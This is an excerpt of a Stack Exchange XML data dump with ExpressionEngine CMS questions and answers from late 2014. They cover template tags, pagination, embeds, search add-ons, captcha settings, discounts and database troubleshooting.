  <row Id="26889" PostTypeId="1" CreationDate="2014-11-25T13:17:05.330" Score="1" ViewCount="219" Body="&lt;p&gt;I have a simple blog displaying a single entry using segment _2 as the url title.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to display a list on this same page that displays links to read other entries by the same author.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only way I have been able to do ti so far is by adding the author_id to segment 3 but that is not acceptable to the client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an embed method or something else where I can display the other entries from the same author without using a segment to get the author id?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;blog&quot; entry_url=&quot;{segment_2}&quot; limit=&quot;1&quot; dynamic=&quot;yes&quot;}&#xA;{title}&#xA;{content}&#xA;&#xA;Other Entries by {author}&#xA; {/exp:channel:entries}&#xA;&#xA;&amp;lt;ul&amp;gt;&#xA; {exp:channel:entries channel=&quot;blog&quot;  limit=&quot;12&quot; dynamic=&quot;no&quot; author_id=&quot;???&quot;}&#xA;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;{title_permalink=blog}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="451" LastActivityDate="2015-03-25T20:29:53.263" Title="show all entries based on author of current entry" Tags="|members|author|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26890" PostTypeId="2" ParentId="20918" CreationDate="2014-11-25T14:05:25.923" Score="0" Body="&lt;p&gt;I had a similar problem (locked out super admin account after installing Zoo Visitor and transferring members) and when I went into phpMyAdmin for my database and looked at the exp_members table, I saw that my super admin email address had been changed (one letter removed). I believe this was because I had two user accounts with the same email address -- my super admin account and an anonymous account used by a public channel form. The anonymous user kept my exact email address and the super admin user had a slightly modified version of the email address. Then I changed the anonymous user's email address in phpMyAdmin, logged in with my incorrect super admin email address, and changed my email address in the CP. I guess I could have changed that email address directly in the database, too, but I wanted to see if I could login.&lt;/p&gt;&#xA;" OwnerUserId="496" LastActivityDate="2014-11-25T14:05:25.923" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26891" PostTypeId="2" ParentId="25134" CreationDate="2014-11-25T14:07:59.000" Score="0" Body="&lt;p&gt;I found the cause; the original EE1 data was held in tables that were set to the default collation 'latin1_swedish_ci'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The previous dev had exported this data as 'utf8' (phpmyadmin's default export setting, and maybe ExpressionEngine's upgrade script setting?), hence the '?'s, it needed to be exported as 'latin1', and then converted to UTF8 (I used textpad to do this).&lt;/p&gt;&#xA;" OwnerUserId="1311" LastActivityDate="2014-11-25T14:07:59.000" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26892" PostTypeId="2" ParentId="26889" CreationDate="2014-11-25T14:08:17.820" Score="1" Body="&lt;p&gt;SOLVED&lt;/p&gt;&#xA;&#xA;&lt;p&gt;using an embed here is the embed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;commentary&quot; limit=&quot;12&quot; dynamic=&quot;no&quot; author_id=&quot;{embed:author_id}&quot;}&#xA;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;{title_permalink=commentary-test}/&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Parent page: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;commentary-test/author&quot; author_id=&quot;{author_id}&quot;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="451" LastActivityDate="2014-11-25T14:08:17.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26893" PostTypeId="2" ParentId="26872" CreationDate="2014-11-25T14:10:46.813" Score="0" Body="&lt;p&gt;Sorry, that is currently not available. I recommend submitting this as a Feature Request under the specific add-on category. It'll also give other users the option to vote up the feature request, and help us prioritize features to add in upcoming versions of this add-on.&#xA;&lt;a href=&quot;http://support.solspace.com/support/discussions&quot; rel=&quot;nofollow&quot;&gt;http://support.solspace.com/support/discussions&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the meantime, although totals, and perhaps pagination, wouldn't be accurate (PHP could be used to get a total though), you could use a simple conditional inside &lt;code&gt;{exp:user:results}&lt;/code&gt; to filter out users that have &lt;code&gt;js_makecvpublic&lt;/code&gt; set to &quot;YES&quot;. Eg:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if js_makecvpublic == &quot;YES&quot;} ... {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-11-25T14:10:46.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26895" PostTypeId="1" CreationDate="2014-11-25T15:28:09.520" Score="1" ViewCount="67" Body="&lt;p&gt;Tried to contact mightybigrobot a few times but impossible to get a hold after buying their plugin profile:edit. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It trows an error when I'm tryign to install the default templates. &#xA;EE 2.7.2 , mySQL 5.6 in strict mode (which should be fine - the plugin developers just need to get their plugins updated)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm getting this error.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;INSERT INTO `exp_channels` (`channel_name`, `channel_title`, `channel_url`, `channel_description`, `channel_lang`, `total_comments`, `last_comment_date`, `cat_group`, `status_group`, `deft_status`, `search_excerpt`, `deft_category`, `deft_comments`, `channel_require_membership`, `channel_max_chars`, `channel_html_formatting`, `channel_allow_img_urls`, `channel_auto_link_urls`, `channel_notify`, `channel_notify_emails`, `comment_url`, `comment_system_enabled`, `comment_require_membership`, `comment_use_captcha`, `comment_moderate`, `comment_max_chars`, `comment_timelock`, `comment_require_email`, `comment_text_formatting`, `comment_html_formatting`, `comment_allow_img_urls`, `comment_auto_link_urls`, `comment_notify`, `comment_notify_authors`, `comment_notify_emails`, `comment_expiration`, `search_results_url`, `show_button_cluster`, `rss_url`, `enable_versioning`, `max_revisions`, `default_entry_title`, `url_title_prefix`, `live_look_template`, `field_group`, `site_id`) VALUES ('member_profiles', 'Member Profiles', '', '', 'en', '0', '0', '', '1', 'open', '', '', 'n', 'y', '', 'all', 'y', 'y', 'n', '', '', 'y', 'n', 'n', 'n', '5000', '0', 'y', 'xhtml', 'safe', 'n', 'y', 'n', 'n', '', '0', '', 'y', '', 'n', '10', '', '', '0', 18, '1') Filename: F:\Websites\xxxxxxx\sys\codeigniter\system\database\DB_driver.php Line Number: 330&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Anybody has any suggestions ? please , hope so.  &lt;/p&gt;&#xA;" OwnerUserId="717" LastActivityDate="2014-11-25T15:28:09.520" Title="profile:edit on EE 2.7.2 and mySQL 5.6 can't install" Tags="|database|mysql|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26896" PostTypeId="1" CreationDate="2014-11-25T17:57:40.327" Score="1" ViewCount="63" Body="&lt;p&gt;I was wondering if there is a way or a plugin that I can apply a discount to a product that is related to another channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically the same way that 'Percentage Off Categories' type works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On my site there are products that have a relationship with a channel called 'Maker'. This channel shows who made the product. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want, this that any product that is made by this 'Maker' to automatically discount 25%.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way of doing this using Discounts? Or will I have to take of the price manually for each product?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hugh&lt;/p&gt;&#xA;" OwnerUserId="3819" LastActivityDate="2016-06-12T02:21:13.863" Title="cartThrob - Discount by Channel" Tags="|cartthrob|discounts|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26897" PostTypeId="2" ParentId="26841" CreationDate="2014-11-25T18:07:42.183" Score="1" Body="&lt;p&gt;Stash itself doesn't have modifiers for variables, such as &lt;code&gt;format=&quot;&quot;&lt;/code&gt;. It can only capture strings from other tags. You will need to save the formatted dates when you &lt;em&gt;set&lt;/em&gt; the Stash list if you want to use them in a comparison when getting the list.&lt;/p&gt;&#xA;" OwnerUserId="289" LastActivityDate="2014-11-25T18:07:42.183" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26898" PostTypeId="2" ParentId="4848" CreationDate="2014-11-25T18:22:09.490" Score="0" Body="&lt;p&gt;If you have devot:ee monitor accessory installed; uninstall it. It's deprecated, and will cause isses with slow CP loading time (1 minute loading CP Home).&lt;/p&gt;&#xA;" OwnerUserId="189" LastActivityDate="2014-11-25T18:22:09.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26899" PostTypeId="2" ParentId="26881" CreationDate="2014-11-25T18:51:43.017" Score="0" Body="&lt;p&gt;You would have to do that on the database side thru PHPMyAdmin or Sequel Pro or something like that. It goes without saying that that is dangerous so always make backups! But that would be by far the fastest way to do it!&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2014-11-25T18:51:43.017" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26900" PostTypeId="2" ParentId="26792" CreationDate="2014-11-25T19:57:54.443" Score="0" Body="&lt;p&gt;You might find &lt;a href=&quot;http://devot-ee.com/add-ons/template-snippet-select&quot; rel=&quot;nofollow&quot;&gt;Template Snippet Select&lt;/a&gt; useful if you want to allow a way of choosing a layout template in the publishing form. Works well with snippets or full templates :)&lt;/p&gt;&#xA;" OwnerUserId="1094" LastActivityDate="2014-11-25T19:57:54.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26903" PostTypeId="1" AcceptedAnswerId="26904" CreationDate="2014-11-25T21:22:20.883" Score="1" ViewCount="31" Body="&lt;p&gt;I have a landing page with a bunch of entries, displayed from a good ol' channel entries tag pair. Now, I'd like to have a link to another page right in the middle of the entries (after 3 entries). The problem is that I can't just have two different tag sets, because I want the whole thing to be paginated. What can I do?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;mychannel&quot; limit=&quot;6&quot; paginate=&quot;bottom&quot;}&#xA;    &amp;lt;div class=&quot;block&quot;&amp;gt;&#xA;        {photo_matrix}&amp;lt;img src=&quot;{photo}&quot; alt=&quot;{alt}&quot;&amp;gt;{/photo_matrix}&#xA;        {contact}{if name}&amp;lt;div class=&quot;hover&quot;&amp;gt;&amp;lt;div class=&quot;info&quot;&amp;gt;&amp;lt;span&amp;gt;Submitted By&amp;lt;/span&amp;gt; {name}&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;!-- hover --&amp;gt;{/if}{/contact}&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!-- block --&amp;gt;&#xA;&#xA;    {my_pagination}{!-- (pagination snippet) --}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is what I want:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; __________&#xA;|          |&#xA;|  Image   |&#xA;|__________|&#xA;&#xA; __________&#xA;|          |&#xA;|  Image   |&#xA;|__________|&#xA;&#xA; __________&#xA;|          |&#xA;|  Image   |&#xA;|__________|&#xA;&#xA;&#xA;{          }&#xA;{   LINK   }&#xA;{          }&#xA;&#xA; __________&#xA;|          |&#xA;|  Image   |&#xA;|__________|&#xA;&#xA; __________&#xA;|          |&#xA;|  Image   |&#xA;|__________|&#xA;&#xA; __________&#xA;|          |&#xA;|  Image   |&#xA;|__________|&#xA;&#xA;&#xA;[PAGE 1 of 5] [&amp;lt;] [1] [2] [3] [&amp;gt;] [LAST]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3607" LastActivityDate="2014-11-25T22:15:35.683" Title="Interrupt Channel Entries tag" Tags="|channel-entries|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26904" PostTypeId="2" ParentId="26903" CreationDate="2014-11-25T22:15:35.683" Score="1" Body="&lt;p&gt;If you want only the first page in your pagination set to have the link you can use &lt;code&gt;absolute_count&lt;/code&gt; conditionally.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;mychannel&quot; limit=&quot;6&quot; paginate=&quot;bottom&quot;}&#xA;    &amp;lt;div class=&quot;block&quot;&amp;gt;&#xA;        {photo_matrix}&amp;lt;img src=&quot;{photo}&quot; alt=&quot;{alt}&quot;&amp;gt;{/photo_matrix}&#xA;        {contact}{if name}&amp;lt;div class=&quot;hover&quot;&amp;gt;&amp;lt;div class=&quot;info&quot;&amp;gt;&amp;lt;span&amp;gt;Submitted By&amp;lt;/span&amp;gt; {name}&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;!-- hover --&amp;gt;{/if}{/contact}&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!-- block --&amp;gt;&#xA;&#xA;   {if absolute_count == &quot;3&quot;}&#xA;     Link goes here&#xA;   {/if}&#xA;&#xA;    {my_pagination}{!-- (pagination snippet) --}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If however you want your subsequent pagination pages to have the link in position three as well then use &lt;code&gt;count&lt;/code&gt; instead of &lt;code&gt;absolute_count&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="210" LastActivityDate="2014-11-25T22:15:35.683" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26905" PostTypeId="1" CreationDate="2014-11-25T22:35:53.843" Score="1" ViewCount="77" Body="&lt;p&gt;Super Search Version 2.1.4, Expression Engine Version 2.8.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now Super Search is running what I would call an &quot;exclusive search&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That is, if I search for &quot;dogs and cats&quot;, I will only return entries that contain in searchable fields the words &quot;dogs&quot;, &quot;and&quot;, AND &quot;cats&quot;. It will not return results for entries that just the terms have &quot;dogs&quot; AND &quot;cats&quot; but not &quot;and&quot;, nor will it return results for entries that only contain the terms &quot;dogs&quot; AND &quot;and&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to make Super Search inclusive, so that if I search for &quot;dogs and cats&quot;, I will return results for entries that contain &quot;dogs&quot; OR contain &quot;cats&quot; OR contain both &quot;dogs&quot; AND &quot;cats&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I can set up Super search this way, can I prioritize results that contain more of the search terms. In the above example, could I make entries that have both &quot;dogs&quot; AND &quot;cats&quot; appear higher than results that only have &quot;dogs&quot; OR &quot;cats&quot;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Here is the {exp:super_search:results} portion of our search template.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:super_search:results&#xA;        channel=&quot;products&quot;&#xA;        limit=&quot;12&quot;&#xA;        show_future_entries=&quot;yes&quot;&#xA;        search_in=&quot;title|product_display_title|product_author|product_sku|product_isbn&quot;&#xA;        search_words_within_words=&quot;yes&quot;&#xA;        allow_repeats=&quot;no&quot;&#xA;        paginate=&quot;bottom&quot;&#xA;        fuzzy_distance=&quot;2&quot;&#xA;        fuzzy_weighting=&quot;yes&quot;&#xA;    }&#xA;&#xA;        {if super_search_no_results}&#xA;            &amp;lt;div class=&quot;col-md-12&quot;&amp;gt;&#xA;                &amp;lt;p&amp;gt;No results matched your query.&amp;lt;/p&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        {/if}&#xA;&#xA;        {if super_search_total_results==1}&#xA;            {redirect=&quot;product/{url_title}&quot;}&#xA;        {/if}&#xA;&#xA;        {if count == 1 OR count == 4 OR count == 7 OR count == 10}&#xA;&#xA;        &amp;lt;div class=&quot;ad-col m-bottom&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;row &quot;&amp;gt;&#xA;&#xA;        {/if}&#xA;                &amp;lt;div class=&quot;col-md-4 ad-small&quot;&amp;gt;&#xA;                    &amp;lt;div class=&quot;well bg-1 ad-col-height&quot;&amp;gt;&#xA;                        &amp;lt;h4&amp;gt;&amp;lt;a class=&quot;inherit-hyperlink&quot; href=&quot;{url_title_path=product}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h4&amp;gt;&#xA;                        &amp;lt;div class=&quot;row m-top&quot;&amp;gt;&#xA;                            &amp;lt;div class=&quot;col-md-4&quot;&amp;gt;&#xA;                                &amp;lt;a href=&quot;{url_title_path=product}&quot;&amp;gt;&amp;lt;img class=&quot;img-responsive&quot; src=&quot;{if product_thumbnail}{product_thumbnail}{if:else}/media/products/noi.jpg{/if}&quot; alt=&quot;{title}&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;                            &amp;lt;div class=&quot;col-md-8&quot;&amp;gt;&#xA;                                {if product_tag!=&quot;&quot; AND product_tag != &quot;None&quot;}&#xA;                                    &amp;lt;p class=&quot;{product_tag}&quot;&amp;gt;{product_tag:label}&amp;lt;/p&amp;gt;&#xA;                                {/if}                           &#xA;                                {if product_author}&amp;lt;p&amp;gt;&amp;lt;small&amp;gt;By {product_author}&amp;lt;/small&amp;gt;&amp;lt;/p&amp;gt;{/if}&#xA;                                &amp;lt;p&amp;gt;Product Code: {product_sku}&#xA;                                &amp;lt;br /&amp;gt;Price: {exp:store:product entry_id=&quot;{entry_id}&quot; disable_form=&quot;yes&quot; disable_javascript=&quot;yes&quot;}{price}{/exp:store:product}&#xA;                                &amp;lt;br /&amp;gt;{if product_binding != &quot;Other&quot;}{product_binding}{/if}&amp;lt;/p&amp;gt;&#xA;                                &amp;lt;p&amp;gt;&amp;lt;a href=&quot;{url_title_path=product}&quot; class=&quot;btn btn-default&quot;&amp;gt;View Details&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&amp;lt;!-- /.row --&amp;gt;&#xA;                        &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;                            &amp;lt;div class=&quot;col-md-12 m-top&quot;&amp;gt;&#xA;                                {product_short_description}&#xA;                            &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&amp;lt;!-- /.well --&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&amp;lt;!-- /.ad-small --&amp;gt;&#xA;&#xA;        {if count == 3 OR count == 6 OR count == 9 OR count == 12 OR count == total_results}&#xA;            &amp;lt;/div&amp;gt;&amp;lt;!-- /row --&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        {/if}&#xA;&#xA;        {paginate}&#xA;&#xA;        &amp;lt;div class=&quot;text-center&quot;&amp;gt;&#xA;        {pagination_links}&#xA;        &amp;lt;ul class=&quot;pagination&quot;&amp;gt;&#xA;        {first_page}&#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-first&quot;&amp;gt;&amp;amp;laquo;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        {/first_page}&#xA;&#xA;        {previous_page}&#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-previous&quot;&amp;gt;&amp;amp;lt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        {/previous_page}&#xA;&#xA;        {page}&#xA;        &amp;lt;li {if current_page}class=&quot;active&quot;{/if}&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-{pagination_page_number} &quot;&amp;gt;{pagination_page_number}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        {/page}&#xA;&#xA;        {next_page}&#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-next&quot;&amp;gt;&amp;amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        {/next_page}&#xA;&#xA;        {last_page}&#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-last&quot;&amp;gt;&amp;amp;raquo;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        {/last_page}&#xA;        &amp;lt;/ul&amp;gt;&#xA;        {/pagination_links}&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;        {/paginate}&#xA;&#xA;    {/exp:super_search:results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3760" LastEditorUserId="3760" LastEditDate="2014-11-26T15:07:26.203" LastActivityDate="2014-11-26T15:07:26.203" Title="Can I make Super Search an inclusive search?" Tags="|solspace|supersearch|" AnswerCount="0" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="26907" PostTypeId="1" CreationDate="2014-11-26T06:43:46.673" Score="1" ViewCount="145" Body="&lt;p&gt;I am working on a website based on ExpressionEngine, which requires captcha on the member registration form. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For this, I enabled Membership captcha, and added the below code in the form.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if captcha}&#xA;    &amp;lt;p&amp;gt;Please enter the word you see in the image below:&amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;{captcha}&amp;lt;br /&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; name=&quot;captcha&quot; value=&quot;&quot; size=&quot;20&quot; maxlength=&quot;20&quot; style=&quot;width:140px;&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It works fine, it shows the captcha as required. But the problem is, the website is divided into 2 parts:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Free membership registration &lt;/li&gt;&#xA;&lt;li&gt;Paid membership registration&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;And I require captcha only on &quot;Free membership registration&quot; form and not on all the membership registration forms. I tried almost everything, and it has been 2 days, I am stuck with this problem. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please let me know, how can carry this out? Help on this will be highly appreciated. Many thanks.&lt;/p&gt;&#xA;" OwnerUserId="3823" LastActivityDate="2014-11-28T04:43:32.660" Title="Enable Membership Captcha on specific forms in ExpressionEngine" Tags="|members|solspace-user|captcha|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26908" PostTypeId="1" AcceptedAnswerId="26916" CreationDate="2014-11-26T08:49:50.437" Score="0" ViewCount="105" Body="&lt;p&gt;Putting together a site that takes a logged in user through a registration process, creating a golf tournament. I am using the channel form tag. What the client was promised was that the sign up could happen across several pages:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P1: Register a new tournament and details&#xA;P2: Enter in golf course information&#xA;P3: Enter in fundraising organization information ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and there are several other steps. The user is using the &quot;next&quot; feature to get to the next part of the sign up. I set up a channel called tournament and created a set of fields for the inputs. It occurred to me that this isn't going to work because it won't understand the &quot;next button if the form tag has been closed. I am a rank amateur at AJAX but I was wondering if there is a way to use one template while the user is going through the steps of the registration and still have all the info submit to one entry...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            {exp:channel:form channel=&quot;tournament&quot;}&#xA;            &amp;lt;ul&amp;gt;&#xA;                &amp;lt;li&amp;gt;&#xA;                    &amp;lt;label for=&quot;tour_title&quot;&amp;gt;Tournament Name&amp;lt;/label&amp;gt;&#xA;                    &amp;lt;input class=&quot;medium&quot; type=&quot;text&quot; name=&quot;tour_title&quot; id=&quot;tour_title&quot; value=&quot;{tour_title}&quot;&amp;gt;&#xA;                &amp;lt;/li&amp;gt;&#xA;                &amp;lt;li&amp;gt;&#xA;                    &amp;lt;label for=&quot;tour_body&quot;&amp;gt;Tournament Description&amp;lt;/label&amp;gt;&#xA;                    &amp;lt;textarea name=&quot;tournament-description&quot;&amp;gt;&amp;lt;/textarea&amp;gt;&#xA;                &amp;lt;/li&amp;gt;&#xA;                &amp;lt;li&amp;gt;etc .....&amp;lt;/li&amp;gt;&#xA;            &amp;lt;/ul&amp;gt;&#xA;        {/exp:channel:form}&#xA;&#xA;            &amp;lt;section class=&quot;page_nav&quot;&amp;gt;&#xA;                &amp;lt;a href=&quot;#&quot; class=&quot;form-button&quot;&amp;gt;Next&amp;lt;/a&amp;gt;&#xA;            &amp;lt;/section&amp;gt;&#xA;            &amp;lt;section class=&quot;page_nav&quot;&amp;gt;&#xA;                &amp;lt;a href=&quot;#&quot; class=&quot;form-button&quot;&amp;gt;Last&amp;lt;/a&amp;gt;&#xA;            &amp;lt;/section&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The process is by no means over when the user hits &quot;next&quot;, there are a bunch of steps. If someone knows a better way I am wide open. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="3009" LastActivityDate="2016-03-18T12:10:41.703" Title="Using Channel Form tag for a registration process need guidance" Tags="|channel|forms|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26909" PostTypeId="1" CreationDate="2014-11-26T09:06:22.353" Score="1" ViewCount="143" Body="&lt;p&gt;I am a newbie to EE. I went through the features and looks cool. I am planning to use it for my new project. But I want to know, whether its possible to create a custom page or function in control panel. Say I want to show the list of all users who booked an appointed.&#xA;And I want to list them in a new page. &#xA;    Also buttons against each list item for specific function. Is it possible, can someone suggest some reference links to do such kind off stuff ?  &lt;/p&gt;&#xA;" OwnerUserId="3824" LastActivityDate="2014-11-26T19:39:29.297" Title="Expression Engine Control Panel" Tags="|control-panel|custom|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26910" PostTypeId="1" CreationDate="2014-11-26T10:47:46.313" Score="1" ViewCount="158" Body="&lt;p&gt;My EE site has 3 ranges of products separated into different channels. I also have a separate channel for featured products, which is basically contains a Playa field for dragging and dropping products from all ranges. There will only be 6 featured products.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the first page of products, I want to show the 6 featured products, followed by 3 of the &quot;normal&quot; products, followed by pagination. I've marked the featured products entry as sticky, and have used a normal channel entries loop to retrieve all products for all ranges like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:channel:entries channel=&quot;featured|channel-1|channel-2|channel-3&quot; limit=&quot;9&quot; orderby=&quot;title&quot; sort=&quot;asc&quot;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, as the featured products channel is classed as one entry, despite containing 6 products, the loop displays all 6 featured products plus 8 &quot;normal&quot; products. Is there a way to treat the entries in the Playa field as separate without using special statuses or categories? Any help is very much appreciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="3825" LastActivityDate="2016-05-30T10:40:04.673" Title="Showing Playa field entries in Channel Entries loop" Tags="|channel-entries|playa|channel|pagination|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26912" PostTypeId="1" CreationDate="2014-11-26T11:35:47.253" Score="0" ViewCount="33" Body="&lt;p&gt;I've been asked by a client if they can add a watermark credit to their images. The watermarks would need to be set on a per-image basis - there would potentially be hundreds of different image sources so we can't apply a standard watermark to them as is done by the standard EE Watermarking system. The watermark needs to be written into the image (using GD I imagine) rather than overlaid in a separate element. As, for example, the BBC does with stock images or those from other news agencies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We're using Assets to manage the images. Does anyone have any solution for this already?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not, my first idea of a solution is to write an extension based around the assets_file_meta_save hook - so that any text put into the 'Credit' field would be added into the image. Of course it couldn't be removed afterwards, the file would have to be re-uploaded. So that's quite tricky and pretty hacky.&lt;/p&gt;&#xA;" OwnerUserId="1655" LastEditorUserId="1655" LastEditDate="2014-11-27T15:49:39.630" LastActivityDate="2014-11-27T15:49:39.630" Title="Watermarking in Assets" Tags="|assets|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26913" PostTypeId="2" ParentId="26870" CreationDate="2014-11-26T12:42:24.070" Score="0" Body="&lt;p&gt;We've used Polls by EEHarbor - &lt;a href=&quot;http://eeharbor.com/polls&quot; rel=&quot;nofollow&quot;&gt;http://eeharbor.com/polls&lt;/a&gt; - seems to work OK and does everything you ask for. It's paid-for though. Integrates with various chart libraries and is skinnable. The documentation isn't amazing but they have been quite helpful with support.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The results are easily viewable in the admin end but there's no export which would be nice.&lt;/p&gt;&#xA;" OwnerUserId="1655" LastActivityDate="2014-11-26T12:42:24.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
